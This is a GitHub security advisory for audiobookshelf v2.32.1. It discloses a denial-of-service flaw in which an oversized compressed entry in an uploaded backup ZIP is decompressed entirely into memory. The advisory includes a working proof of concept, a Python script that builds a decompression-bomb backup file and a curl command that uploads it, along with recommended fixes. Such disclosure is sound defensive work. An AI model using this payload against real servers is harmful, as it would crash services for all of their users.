Skip to content

Memory amplification DoS via oversized compressed details entry in backup upload

Moderate
advplyr published GHSA-4jq4-rvq8-j26h Apr 28, 2026

Package

audiobookshelf

Affected versions

v2.32.1

Patched versions

v2.32.2

Description

Summary

The POST /api/backups/upload endpoint decompresses the details entry from an uploaded .audiobookshelf ZIP file entirely into memory using zip.entryData(), with no limit on the decompressed size. The upload middleware also has no file size limit. An admin user can upload a crafted ZIP containing a highly compressed details entry that, when decompressed, consumes hundreds of megabytes or gigabytes of memory, crashing the server process via out-of-memory.

Severity

Medium (CVSS 3.1: 4.9)

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

  • Attack Vector: Network — standard API endpoint
  • Attack Complexity: Low — single upload of a crafted ZIP file
  • Privileges Required: High — requires admin-level access to the backup upload endpoint
  • User Interaction: None
  • Scope: Unchanged — the DoS affects the audiobookshelf server process itself
  • Confidentiality Impact: None — no data is disclosed
  • Integrity Impact: None — no data is modified
  • Availability Impact: High — the server process can be reliably crashed via memory exhaustion

Affected Component

  • server/managers/BackupManager.jsuploadBackup (line 136) — unbounded in-memory decompression
  • server/Server.jsfileUpload() middleware (line 305) — no upload size limit configured
  • server/libs/nodeStreamZip/index.jsentryData (line 720) — fully materializes decompressed data

CWE

  • CWE-400: Uncontrolled Resource Consumption

Description

No file size limit on upload middleware

The fileUpload() middleware is configured without any limits parameter:

// server/Server.js:305-312
router.use(
  fileUpload({
    defCharset: 'utf8',
    defParamCharset: 'utf8',
    useTempFiles: true,
    tempFileDir: Path.join(global.MetadataPath, 'tmp')
  })
)

Without a limits.fileSize setting, the underlying busboy parser defaults to Infinity:

// server/libs/busboy/types/multipart.js:254-256
const fileSizeLimit = (limits && typeof limits.fileSize === 'number'
  ? limits.fileSize
  : Infinity);

While useTempFiles: true means the uploaded file is written to disk rather than held in memory during upload, this still allows arbitrarily large files to reach the backup processing code.

Unbounded in-memory decompression of the details entry

The uploadBackup handler decompresses the details entry entirely into memory:

// server/managers/BackupManager.js:122-137
const zip = new StreamZip.async({ file: tempPath })
let entries
try {
  entries = await zip.entries()
} catch (error) {
  // ...
}
if (!Object.keys(entries).includes('absdatabase.sqlite')) {
  // ...
}

const data = await zip.entryData('details')        // Full decompression into Buffer
const details = data.toString('utf8').split('\n')   // Second copy as string + split

The entryData() method collects all decompressed chunks and concatenates them:

// server/libs/nodeStreamZip/index.js:720-733
async entryData(entry) {
  const stm = await this.stream(entry);
  return new Promise((resolve, reject) => {
    const data = [];
    stm.on('data', (chunk) => data.push(chunk));
    stm.on('end', () => {
      resolve(Buffer.concat(data));  // Materializes full decompressed content
    });
    // ...
  });
}

For a details entry that decompresses to 200MB, this code path allocates:

  1. ~200MB for the Buffer from entryData()
  2. ~200MB for the UTF-8 string from data.toString('utf8')
  3. Additional memory for the .split('\n') array

maxBackupSize not enforced during upload

The codebase has a maxBackupSize setting, but it is only enforced during backup creation, not during upload:

// server/managers/BackupManager.js:46-48 — getter
get maxBackupSize() {
  return global.ServerSettings.maxBackupSize || Infinity  // Defaults to Infinity
}

// server/managers/BackupManager.js:441-452 — only used during backup CREATION
archive.on('progress', ({ fs: fsobj }) => {
  if (this.maxBackupSize !== Infinity) {
    const maxBackupSizeInBytes = this.maxBackupSize * 1000 * 1000 * 1000
    if (fsobj.processedBytes > maxBackupSizeInBytes) {
      Logger.error(`[BackupManager] Archiver is too large - aborting...`)
      archive.abort()
    }
  }
})

The uploadBackup method (line 103-159) has no size check whatsoever.

Only minimal validation before decompression

The upload handler validates only:

  1. File extension is .audiobookshelf (line 105)
  2. The ZIP contains an absdatabase.sqlite entry (line 131)

Neither check prevents a ZIP with an oversized details entry.

Execution chain

  1. Admin authenticates and sends POST /api/backups/upload with a crafted .audiobookshelf ZIP file
  2. fileUpload() middleware accepts the file with no size limit and writes it to a temp file
  3. BackupController.upload (line 70-76) passes to BackupManager.uploadBackup
  4. The file is moved to the backups directory (line 110-117)
  5. StreamZip.async opens the file and reads entries (line 122-130)
  6. The absdatabase.sqlite entry check passes (the crafted ZIP includes a minimal SQLite header)
  7. zip.entryData('details') at line 136 decompresses the entire details entry into memory — a 200MB+ entry causes hundreds of MB of memory allocation
  8. data.toString('utf8').split('\n') at line 137 creates additional in-memory copies
  9. The Node.js process runs out of memory and crashes, or becomes severely degraded

Proof of Concept

# Generate a malicious backup file with a 200MB compressed details entry
python3 - <<'PY'
import zipfile, time

path = '/tmp/backup_details_200mb.audiobookshelf'
# Minimal valid details header (id, dbEngine, timestamp, serverVersion)
meta = 'test-id\nsqlite\n' + str(int(time.time() * 1000)) + '\n2.32.1\n'

with zipfile.ZipFile(path, 'w', compression=zipfile.ZIP_DEFLATED, compresslevel=9) as z:
    # Minimal valid SQLite header to pass the entry check
    z.writestr('absdatabase.sqlite', b'SQLite format 3\x00')
    # 200MB of repeated characters — compresses to a few hundred KB
    z.writestr('details', meta + 'A' * (200 * 1024 * 1024))

print(f'Created: {path}')
PY
# Upload the malicious backup (requires admin token)
# Monitor server RSS before and after:
PID=$(pgrep -f audiobookshelf)
echo "Before: $(ps -o rss= -p $PID) KB"

curl -s -X POST \
  -H 'Authorization: Bearer $ADMIN_TOKEN' \
  'http://127.0.0.1:3333/api/backups/upload' \
  -F "file=@/tmp/backup_details_200mb.audiobookshelf"

echo "After: $(ps -o rss= -p $PID) KB"
# Observed: RSS grows by ~350MB for a 200MB decompressed details entry
# Larger entries (1GB+) will crash the process via OOM

Impact

  • Server crash via OOM: An admin can reliably crash the audiobookshelf server process by uploading a ZIP with a large compressed details entry, causing complete service disruption for all users
  • Repeated exploitation: The attack can be repeated immediately after the server restarts, enabling sustained denial of service
  • Low cost to attacker: ZIP compression ratios of 1000:1 are achievable with repetitive content, so a few hundred KB upload can decompress to hundreds of MB in memory
  • No upload size limit: The absence of a file size limit on the upload middleware means even very large compressed files are accepted

Recommended Remediation

Option 1: Limit decompressed entry size before reading into memory (preferred)

Add a size check on the details entry before calling entryData():

// server/managers/BackupManager.js — in uploadBackup, after entries check
const detailsEntry = entries['details']
if (!detailsEntry) {
  Logger.error('[BackupManager] Invalid backup with no details file')
  return res.status(400).send('Invalid backup file - missing details')
}

const maxDetailsSize = 10 * 1024 * 1024 // 10MB — details should be a few KB at most
if (detailsEntry.size > maxDetailsSize) {
  Logger.error(`[BackupManager] Backup details entry too large: ${detailsEntry.size} bytes`)
  await zip.close()
  await fs.remove(tempPath)
  return res.status(400).send('Invalid backup file - details entry too large')
}

const data = await zip.entryData('details')

The ZIP entry metadata includes the uncompressed size (entry.size), which can be checked before decompression.

Option 2: Add a file size limit to the upload middleware

Configure a reasonable upload size limit in the fileUpload() middleware:

// server/Server.js
router.use(
  fileUpload({
    defCharset: 'utf8',
    defParamCharset: 'utf8',
    useTempFiles: true,
    tempFileDir: Path.join(global.MetadataPath, 'tmp'),
    limits: { fileSize: 4 * 1024 * 1024 * 1024 } // 4GB limit
  })
)

Note: This limits the compressed upload size but does not prevent decompression bombs where a small compressed file expands to a much larger size in memory. Both options should ideally be applied together for defense in depth.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2026-42886

Weaknesses

No CWEs

Credits